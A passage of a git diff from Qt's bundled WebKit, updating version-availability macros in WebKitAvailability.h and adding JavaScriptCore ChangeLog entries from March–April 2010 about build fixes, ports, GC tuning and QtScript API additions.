+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_4_0
     #define AVAILABLE_WEBKIT_VERSION_1_2_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
 #else
     #define AVAILABLE_WEBKIT_VERSION_1_2_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_1_2_AND_LATER
@@ -707,7 +710,7 @@
  * Used on declarations introduced in WebKit 1.3, 
  * but later deprecated in WebKit 4.0
  */
-#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_4_0
     #define AVAILABLE_WEBKIT_VERSION_1_3_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
 #else
     #define AVAILABLE_WEBKIT_VERSION_1_3_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_1_3_AND_LATER
@@ -719,7 +722,7 @@
  * Used on declarations introduced in WebKit 2.0, 
  * but later deprecated in WebKit 4.0
  */
-#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_4_0
     #define AVAILABLE_WEBKIT_VERSION_2_0_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
 #else
     #define AVAILABLE_WEBKIT_VERSION_2_0_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_2_0_AND_LATER
@@ -731,7 +734,7 @@
  * Used on declarations introduced in WebKit 3.0, 
  * but later deprecated in WebKit 4.0
  */
-#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_4_0
     #define AVAILABLE_WEBKIT_VERSION_3_0_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
 #else
     #define AVAILABLE_WEBKIT_VERSION_3_0_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_3_0_AND_LATER
@@ -743,7 +746,7 @@
  * Used on declarations introduced in WebKit 3.1, 
  * but later deprecated in WebKit 4.0
  */
-#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_4_0
     #define AVAILABLE_WEBKIT_VERSION_3_1_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
 #else
     #define AVAILABLE_WEBKIT_VERSION_3_1_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_3_1_AND_LATER
@@ -754,11 +757,148 @@
  * 
  * Used on types deprecated in WebKit 4.0
  */
-#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_4_0
     #define DEPRECATED_IN_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
 #else
     #define DEPRECATED_IN_WEBKIT_VERSION_4_0
 #endif
 
 
+
+
+
+
+/*
+ * AVAILABLE_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on declarations introduced after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MAX_ALLOWED < WEBKIT_VERSION_LATEST
+    #define AVAILABLE_AFTER_WEBKIT_VERSION_4_0     UNAVAILABLE_ATTRIBUTE
+#elif WEBKIT_VERSION_MIN_REQUIRED < WEBKIT_VERSION_LATEST
+    #define AVAILABLE_AFTER_WEBKIT_VERSION_4_0     WEAK_IMPORT_ATTRIBUTE
+#else
+    #define AVAILABLE_AFTER_WEBKIT_VERSION_4_0
+#endif
+
+/*
+ * AVAILABLE_AFTER_WEBKIT_VERSION_4_0_BUT_DEPRECATED
+ * 
+ * Used on declarations introduced after WebKit 4.0, 
+ * and deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define AVAILABLE_AFTER_WEBKIT_VERSION_4_0_BUT_DEPRECATED    DEPRECATED_ATTRIBUTE
+#else
+    #define AVAILABLE_AFTER_WEBKIT_VERSION_4_0_BUT_DEPRECATED    AVAILABLE_AFTER_WEBKIT_VERSION_4_0
+#endif
+
+/*
+ * AVAILABLE_WEBKIT_VERSION_1_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on declarations introduced in WebKit 1.0, 
+ * but later deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define AVAILABLE_WEBKIT_VERSION_1_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
+#else
+    #define AVAILABLE_WEBKIT_VERSION_1_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_1_0_AND_LATER
+#endif
+
+/*
+ * AVAILABLE_WEBKIT_VERSION_1_1_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on declarations introduced in WebKit 1.1, 
+ * but later deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define AVAILABLE_WEBKIT_VERSION_1_1_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
+#else
+    #define AVAILABLE_WEBKIT_VERSION_1_1_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_1_1_AND_LATER
+#endif
+
+/*
+ * AVAILABLE_WEBKIT_VERSION_1_2_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on declarations introduced in WebKit 1.2, 
+ * but later deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define AVAILABLE_WEBKIT_VERSION_1_2_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
+#else
+    #define AVAILABLE_WEBKIT_VERSION_1_2_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_1_2_AND_LATER
+#endif
+
+/*
+ * AVAILABLE_WEBKIT_VERSION_1_3_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on declarations introduced in WebKit 1.3, 
+ * but later deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define AVAILABLE_WEBKIT_VERSION_1_3_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
+#else
+    #define AVAILABLE_WEBKIT_VERSION_1_3_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_1_3_AND_LATER
+#endif
+
+/*
+ * AVAILABLE_WEBKIT_VERSION_2_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on declarations introduced in WebKit 2.0, 
+ * but later deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define AVAILABLE_WEBKIT_VERSION_2_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
+#else
+    #define AVAILABLE_WEBKIT_VERSION_2_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_2_0_AND_LATER
+#endif
+
+/*
+ * AVAILABLE_WEBKIT_VERSION_3_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on declarations introduced in WebKit 3.0, 
+ * but later deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define AVAILABLE_WEBKIT_VERSION_3_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
+#else
+    #define AVAILABLE_WEBKIT_VERSION_3_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_3_0_AND_LATER
+#endif
+
+/*
+ * AVAILABLE_WEBKIT_VERSION_3_1_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on declarations introduced in WebKit 3.1, 
+ * but later deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define AVAILABLE_WEBKIT_VERSION_3_1_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
+#else
+    #define AVAILABLE_WEBKIT_VERSION_3_1_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_3_1_AND_LATER
+#endif
+
+/*
+ * AVAILABLE_WEBKIT_VERSION_4_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on declarations introduced in WebKit 4.0 
+ * but later deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define AVAILABLE_WEBKIT_VERSION_4_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
+#else
+    #define AVAILABLE_WEBKIT_VERSION_4_0_AND_LATER_BUT_DEPRECATED_AFTER_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_4_0_AND_LATER
+#endif
+
+/*
+ * DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+ * 
+ * Used on types deprecated after WebKit 4.0
+ */
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+    #define DEPRECATED_AFTER_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
+#else
+    #define DEPRECATED_AFTER_WEBKIT_VERSION_4_0
+#endif
+
+
 #endif /* __WebKitAvailability__ */
diff --git a/src/3rdparty/webkit/JavaScriptCore/ChangeLog b/src/3rdparty/webkit/JavaScriptCore/ChangeLog
index 6446773..53fde39 100644
--- a/src/3rdparty/webkit/JavaScriptCore/ChangeLog
+++ b/src/3rdparty/webkit/JavaScriptCore/ChangeLog
@@ -1,3 +1,3389 @@
+2010-04-09  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix crashes with package builds in release
+
+        Add NDEBUG to the defines for package build in JavaScriptCore.pri,
+        so that it's consistently used for JavaScriptCore, WebCore, jsc and all
+        other tools using wtf, etc. data structures directly. Mixing NDEBUG with
+        non-NDEBUG builds causes crashes due to differences in data structures when
+        assertions/checks are enabled.
+
+        * JavaScriptCore.pri:
+
+2010-03-31  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed, fix after r56842.
+
+        Add UNUSED_PARAM a to silence warning.
+
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+
+2010-03-31  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed, Symbian build fix.
+
+        Refactor JITStubs.cpp so that the list of STUB_FUNCTIONs
+        are not dependent on the JSVALUE32_64 guard.
+
+        * jit/JITStubs.cpp: Place the JSVALUE32_64 guard inside 
+        the body of cti_op_eq_strings.
+        * jit/JITStubs.h: Remove JSVALUE32_64 guard from 
+        cti_op_eq_strings stub.
+
+2010-04-05  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Symbian] Consolidate Symbian WINSCW environment configuration
+        https://bugs.webkit.org/show_bug.cgi?id=37100
+
+        Move the "undefinition" of WIN32 and _WIN32 from WebCore/config.h
+        to JavaScriptCore/wtf/Platform.h as it is not specific to WebCore.
+
+        PLATFORM(WIN) and OS(WIN) no longer needs to be undefined as
+        undefining WIN32 takes care of it.
+
+        * wtf/Platform.h:
+
+2010-03-30  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by nobody, build break.
+
+        [Qt] Fix build break on Qt Mac.
+
+        DESTDIR path on Mac do not include the configuration path by default
+        like on Windows. Have to force it.
+
+        * JavaScriptCore.pro:
+
+2010-02-26  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Fraser.
+
+        Add support for Widgets 1.0: View Mode Media Feature
+        https://bugs.webkit.org/show_bug.cgi?id=35446
+
+        Add an enable flag for the Widgets (http://www.w3.org/TR/widgets-reqs/)
+        and turn it on for Qt only.
+
+        * wtf/Platform.h:
+
+2010-03-29  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Use the -l syntax for linking against JavaScriptCore on Windows.
+        This allow qmake to extract dependencies correctly when generating VS
+        solutions.
+
+        * JavaScriptCore.pri:
+
+2010-03-29  Thomas Zander  <t.zander@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        https://bugs.webkit.org/show_bug.cgi?id=36742
+
+        gcc for Symbian doesn't support gcc extensions like atomicity.h - disable
+
+        * wtf/Threading.h: also detect os symbian
+
+2010-03-28  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Remove the definition of WTF_CHANGES guards from the build system
+        https://bugs.webkit.org/show_bug.cgi?id=31670
+  
+        * JavaScriptCore.pro: Remove the definition of WTF_CHANGES
+        as it is already defined in config.h
+
+2010-03-26  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Build JavaScriptCore as a static library.
+        https://bugs.webkit.org/show_bug.cgi?id=36590
+
+        This patch takes what was left of the unused JavaScriptCore.pro
+        and moved the compilation logic from JavaScriptCore.pri to
+        JavaScriptCore.pro.
+
+        * JavaScriptCore.pri:
+        * JavaScriptCore.pro:
+        * jsc.pro:
+        * qt/api/QtScript.pro:
+
+2010-03-25  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by nobody, build fix.
+
+        [Qt] Build fix on MSVC. Reverts r55633 for stdint.h
+
+        This file gets included in generated moc files which don't
+        include the prefix header.
+
+        * os-win32/stdint.h:
+
+2010-03-23  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (speculative windows build fix part II).
+
+2010-03-23  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (speculative windows build fix).
+
+2010-03-23  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Bug 36519 - JSGlobalContextRelease is unnecessarily slow
+
+        Since [ http://trac.webkit.org/changeset/35917 ], calling
+        JSGlobalContextRelease always triggers a GC heap collection
+        (if not a full destroy). As per 35917's changelog "This is
+        only really necessary when the (JSGlobalObject's) last
+        reference is released, but there is no way to determine that,
+        and no harm in collecting slightly more often."
+        
+        Well, we now know of cases of API clients who are harmed by
+        the performance penalty of collecting too often, so it's time
+        to add a way to determine whether a call to JSGlobalContextRelease
+        is removing the last protect from it's global object.  If further
+        protects are retaining the global object (likely from other
+        JSGlobalContextRefs), then don't trigger a GC collection.
+
+        * API/JSContextRef.cpp:
+        * runtime/Collector.cpp:
+        (JSC::Heap::unprotect): return a boolean indicating that the value is now unprotected.
+        * runtime/Collector.h:
+        * wtf/HashCountedSet.h:
+        (WTF::::remove): return a boolean indicating whether the value was removed from the set.
+
+2010-03-23  Mark Rowe  <mrowe@apple.com>
+
+        Build fix.
+
+        * runtime/ArrayPrototype.cpp:
+        (JSC::arrayProtoFuncSplice): Some versions of GCC emit a warning about the implicit 64- to 32-bit truncation
+        that takes place here. An explicit cast is sufficient to silence it.
+
+2010-03-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Build fix.
+
+        * runtime/ArrayPrototype.cpp: (JSC::arrayProtoFuncSplice): Fixed a typo - length doesn't
+        need to be converted with toInteger().
+
+2010-03-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=36511
+        <rdar://problem/7753498> Safari freezes when using SPUTNIK JavaScript conformance check
+
+        Test: fast/js/sputnik-S15.4.4.12_A3_T3.html
+
+        * runtime/ArrayPrototype.cpp: (JSC::arrayProtoFuncSplice): We were incorrectly computing
+        the start offset, and iterated over (almost) all integers. Note that this can be fixed
+        without using doubles, but the code would be much more complicated, and there is no important
+        reason to stick to integers here.
+
+2010-03-23  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Fix compilation on Itanium in 32-bit mode
+        https://bugs.webkit.org/show_bug.cgi?id=36494
+
+        * wtf/Platform.h: Introduce CPU(IA64_32). Don't define
+          WTF_USE_JSVALUE64 if the CPU is in 32-bit mode.
+
+2010-03-23  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Interpreter fix for <rdar://problem/7728196> REGRESSION (r46701): -(-2147483648)
+        evaluates to -2147483648 on 32 bit (35842)
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::privateExecute): Only take the fast negate path if
+        a bit other than bit 31 is set. If none of bits 0-30 are set, then the
+        value we're negating can only be 0 or -2147483648, and neither can be
+        negated in int space.
+
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emit_op_negate):
+        (JSC::JIT::emitSlow_op_negate): Updated the JIT implementation to match
+        the interpreter, since it's slightly simpler.
+
+2010-03-22  Siddharth Mathur  <siddharth.mathur@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        [Symbian] More efficient aligned memory allocation for JSC Collector
+        https://bugs.webkit.org/show_bug.cgi?id=34350
+
+        * JavaScriptCore.pri: Added 2 new Symbian source files and HAL linkage
+
+        * runtime/Collector.cpp: Reduced port-specific code and added private data member
+        (JSC::Heap::Heap):
+        (JSC::Heap::~Heap):
+        (JSC::Heap::destroy):
+        (JSC::Heap::allocateBlock):
+        (JSC::Heap::freeBlockPtr):
+
+        * runtime/Collector.h: Added private data member
+
+        * wtf/symbian: Added.
+        * wtf/symbian/BlockAllocatorSymbian.cpp: Added.
+        (WTF::AlignedBlockAllocator::AlignedBlockAllocator): Helper class to allocate 
+        aligned blocks more efficiently as required by Collector
+        (WTF::AlignedBlockAllocator::alloc):
+        (WTF::AlignedBlockAllocator::free):
+        (WTF::AlignedBlockAllocator::destroy):
+        (WTF::AlignedBlockAllocator::~AlignedBlockAllocator):
+        * wtf/symbian/BlockAllocatorSymbian.h: Added.
+
+2010-03-22  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fixed <rdar://problem/7728196> REGRESSION (r46701): -(-2147483648)
+        evaluates to -2147483648 on 32 bit (35842)
+        
+        Two ways to fix the same bug:
+        
+        1. Check for overflow when negating, since negating the largest negative
+        int causes overflow.
+        
+        2. Constant-fold even when negating a negative, since, like they say in
+        high school, "math works."
+
+        * assembler/MacroAssemblerARM.h:
+        (JSC::MacroAssemblerARM::branchNeg32):
+        * assembler/MacroAssemblerX86Common.h:
+        (JSC::MacroAssemblerX86Common::branchNeg32): Added a branching version
+        of the negate operator.
+
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emit_op_negate): Use the branching version of the negate 
+        operator to check for overflow.
+
+        (JSC::JIT::emitSlow_op_negate): Link the check for overflow to a slow case.
+        (We could emit inline code for this, since we know what the result would
+        be, but that's probably just a waste of generated code.)
+
+        * parser/Grammar.y: Constant fold even when negating a negative.
+
+2010-03-22  David Kilzer  <ddkilzer@apple.com>
+
+        <http://webkit.org/b/36431> Clean up 'int' use in UString.cpp after r54789
+
+        Reviewed by Darin Adler.
+
+        * runtime/UString.cpp:
+        (JSC::UString::from): Changed argument type from 'unsigned int'
+        to 'unsigned' to match WebKit coding style.
+        (JSC::UString::find): Changed static_cast<int>() to
+        static_cast<unsigned>() now that this method returns unsigned.
+        (JSC::UString::rfind): Ditto.
+        * runtime/UString.h:
+        (JSC::UString::from): Changed argument type from 'unsigned int'
+        to 'unsigned' to match WebKit coding style.
+
+2010-03-22  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Add support for syntax checking in the QtScript API.
+
+        New class was created; the QScriptSyntaxCheckResult which main
+        responsibility is to provide results of the ECMA Script code
+        syntax check. The class is not fully functional as the JSC C API
+        doesn't expose an error column number, but it is a good start point
+        for a future development.
+
+        [Qt] QtScript functionality should be extended by syntax checking.
+        https://bugs.webkit.org/show_bug.cgi?id=36123
+
+        * qt/api/QtScript.pro:
+        * qt/api/qscriptengine.cpp:
+        (QScriptEngine::checkSyntax):
+        * qt/api/qscriptengine.h:
+        * qt/api/qscriptengine_p.cpp:
+        (QScriptEnginePrivate::checkSyntax):
+        * qt/api/qscriptengine_p.h:
+        * qt/api/qscriptsyntaxcheckresult.cpp: Added.
+        (QScriptSyntaxCheckResult::QScriptSyntaxCheckResult):
+        (QScriptSyntaxCheckResult::~QScriptSyntaxCheckResult):
+        (QScriptSyntaxCheckResult::operator=):
+        (QScriptSyntaxCheckResult::state):
+        (QScriptSyntaxCheckResult::errorLineNumber):
+        (QScriptSyntaxCheckResult::errorColumnNumber):
+        (QScriptSyntaxCheckResult::errorMessage):
+        * qt/api/qscriptsyntaxcheckresult.h: Added.
+        * qt/api/qscriptsyntaxcheckresult_p.cpp: Added.
+        (QScriptSyntaxCheckResultPrivate::~QScriptSyntaxCheckResultPrivate):
+        (QScriptSyntaxCheckResultPrivate::errorMessage):
+        (QScriptSyntaxCheckResultPrivate::errorLineNumber):
+        * qt/api/qscriptsyntaxcheckresult_p.h: Added.
+        (QScriptSyntaxCheckResultPrivate::get):
+        (QScriptSyntaxCheckResultPrivate::QScriptSyntaxCheckResultPrivate):
+        (QScriptSyntaxCheckResultPrivate::state):
+        (QScriptSyntaxCheckResultPrivate::errorColumnNumber):
+        * qt/tests/qscriptengine/tst_qscriptengine.cpp:
+        (tst_QScriptEngine::checkSyntax_data):
+        (tst_QScriptEngine::checkSyntax):
+
+2010-03-21  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        New class; QScriptProgram.
+
+        The class should be used to evaluate the same script multiple times
+        more efficiently.
+
+        [Qt] QtScript should have QScriptProgram class
+        https://bugs.webkit.org/show_bug.cgi?id=36008
+
+        * qt/api/QtScript.pro:
+        * qt/api/qscriptengine.cpp:
+        (QScriptEngine::evaluate):
+        * qt/api/qscriptengine.h:
+        * qt/api/qscriptengine_p.cpp:
+        (QScriptEnginePrivate::evaluate):
+        * qt/api/qscriptengine_p.h:
+        (QScriptEnginePrivate::evaluate):
+        * qt/api/qscriptprogram.cpp: Added.
+        (QScriptProgram::QScriptProgram):
+        (QScriptProgram::~QScriptProgram):
+        (QScriptProgram::operator=):
+        (QScriptProgram::isNull):
+        (QScriptProgram::sourceCode):
+        (QScriptProgram::fileName):
+        (QScriptProgram::firstLineNumber):
+        (QScriptProgram::operator==):
+        (QScriptProgram::operator!=):
+        * qt/api/qscriptprogram.h: Added.
+        * qt/api/qscriptprogram_p.h: Added.
+        (QScriptProgramPrivate::get):
+        (QScriptProgramPrivate::QScriptProgramPrivate):
+        (QScriptProgramPrivate::~QScriptProgramPrivate):
+        (QScriptProgramPrivate::isNull):
+        (QScriptProgramPrivate::sourceCode):
+        (QScriptProgramPrivate::fileName):
+        (QScriptProgramPrivate::firstLineNumber):
+        (QScriptProgramPrivate::operator==):
+        (QScriptProgramPrivate::operator!=):
+        (QScriptProgramPrivate::program):
+        (QScriptProgramPrivate::file):
+        (QScriptProgramPrivate::line):
+        * qt/tests/qscriptengine/tst_qscriptengine.cpp:
+        (tst_QScriptEngine::evaluateProgram):
+
+2010-03-21  David Kilzer  <ddkilzer@apple.com>
+
+        Blind attempt #2 to fix the Windows build after r56314
+
+        * API/tests/testapi.c: Include JSObjectRefPrivate.h for the new
+        methods instead of declaring them locally (and non-extern).
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        Backed out previous change.
+
+2010-03-21  David Kilzer  <ddkilzer@apple.com>
+
+        Blind attempt to fix the Windows build after r56314
+
+        Try to fix the following errors on the Windows buildbot:
+
+            Linking...
+            testapi.obj : error LNK2001: unresolved external symbol "bool __cdecl JSObjectSetPrivateProperty(struct OpaqueJSContext const *,struct OpaqueJSValue *,struct OpaqueJSString *,struct OpaqueJSValue const *)" (?JSObjectSetPrivateProperty@@YA_NPBUOpaqueJSContext@@PAUOpaqueJSValue@@PAUOpaqueJSString@@PBU2@@Z)
+            testapi.obj : error LNK2001: unresolved external symbol "struct OpaqueJSValue const * __cdecl JSObjectGetPrivateProperty(struct OpaqueJSContext const *,struct OpaqueJSValue *,struct OpaqueJSString *)" (?JSObjectGetPrivateProperty@@YAPBUOpaqueJSValue@@PBUOpaqueJSContext@@PAU1@PAUOpaqueJSString@@@Z)
+            C:\cygwin\home\buildbot\slave\win-release\build\WebKitBuild\bin\testapi.exe : fatal error LNK1120: 2 unresolved externals
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def: Added
+        missing symbols to be exported.
+
+2010-03-21  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Documentation fix for previous patch.
+
+        * API/JSObjectRefPrivate.h:
+
+2010-03-20  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        JSC needs an API to allow custom objects to have aprivate GC-accessible properties
+        https://bugs.webkit.org/show_bug.cgi?id=36420
+
+        Add new API methods to support "private" properties on custom
+        objects.
+
+        * API/JSCallbackObject.h:
+        (JSC::JSCallbackObjectData::JSCallbackObjectData):
+        (JSC::JSCallbackObjectData::~JSCallbackObjectData):
+        (JSC::JSCallbackObjectData::getPrivateProperty):
+        (JSC::JSCallbackObjectData::setPrivateProperty):
+        (JSC::JSCallbackObjectData::deletePrivateProperty):
+        (JSC::JSCallbackObjectData::markChildren):
+        (JSC::JSCallbackObjectData::JSPrivatePropertyMap::getPrivateProperty):
+        (JSC::JSCallbackObjectData::JSPrivatePropertyMap::setPrivateProperty):
+        (JSC::JSCallbackObjectData::JSPrivatePropertyMap::deletePrivateProperty):
+        (JSC::JSCallbackObjectData::JSPrivatePropertyMap::markChildren):
+        (JSC::JSCallbackObject::getPrivateProperty):
+        (JSC::JSCallbackObject::setPrivateProperty):
+        (JSC::JSCallbackObject::deletePrivateProperty):
+        (JSC::JSCallbackObject::markChildren):
+        * API/JSObjectRef.cpp:
+        (JSObjectGetPrivateProperty):
+        (JSObjectSetPrivateProperty):
+        (JSObjectDeletePrivateProperty):
+        * API/JSObjectRefPrivate.h: Added.
+        * API/tests/testapi.c:
+        (main):
+        * JavaScriptCore.exp:
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+
+2010-03-20  Kevin Ollivier  <kevino@theolliviers.com>
+
+        [wx] Build fixes after introduction of Brew files.
+
+        * wscript:
+
+2010-03-18  Tom Callaway  <tcallawa@redhat.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 35429: Fix compile on SPARC64
+        https://bugs.webkit.org/show_bug.cgi?id=35429
+
+        * wtf/Platform.h: Set WTF_USE_JSVALUE64 for SPARC64
+
+2010-03-18  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Add API to directly expose JSON parsing
+        https://bugs.webkit.org/show_bug.cgi?id=34887
+
+        Add API to expose JSON parsing directly, and add tests to testapi
+
+        * API/JSValueRef.cpp:
+        (JSValueMakeFromJSONString):
+        (JSValueCreateJSONString):
+        * API/tests/testapi.c:
+        (main):
+        * JavaScriptCore.exp:
+        * runtime/JSONObject.cpp:
+        (JSC::JSONStringify):
+        * runtime/JSONObject.h:
+
+2010-03-16  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Darin Adler and Mark Rowe.
+
+        Update WebKit availability macros for release after 4.0.
+
+        * API/WebKitAvailability.h:
+
+2010-03-17  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        undefined, NaN, and Infinity should be ReadOnly
+        https://bugs.webkit.org/show_bug.cgi?id=36263
+
+        Simply add the ReadOnly flag to these properties.
+
+        * runtime/JSGlobalObject.cpp:
+        (JSC::JSGlobalObject::reset):
+
+2010-03-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Speed up Math.round a little by removing unneeded special case
+        https://bugs.webkit.org/show_bug.cgi?id=36107
+
+        Test: fast/js/math.html
+
+        * runtime/MathObject.cpp:
+        (JSC::mathProtoFuncRound): This function had a special case for numbers
+        between -0.5 and -0.0 to return -0.0. But the algorithm in the function
+        already yields -0.0 for those cases, so the extra checking and branching
+        is unneeded.
+
